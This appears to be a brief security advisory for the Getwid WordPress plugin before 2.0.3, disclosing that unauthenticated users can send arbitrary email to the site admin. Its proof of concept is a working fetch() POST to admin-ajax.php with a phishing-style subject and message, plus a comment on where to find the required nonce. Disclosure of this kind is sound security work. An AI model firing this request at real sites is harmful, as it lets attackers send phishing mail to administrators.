Getwid < 2.0.3 - Unauthenticated Arbitrary Email Sending to Admin

Proof of Concept

fetch("http://127.0.0.1:8001/wp-admin/admin-ajax.php?action=getwid_send_mail", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "data[subject]=Urgent WordPress update neeeds to be installed&data[message]=Fake notification for the admin with some link to be clicked&security=4c71dae953", /* the nonce is in the page source under recaptcha_v2_contact_form key */
  "method": "POST", 
});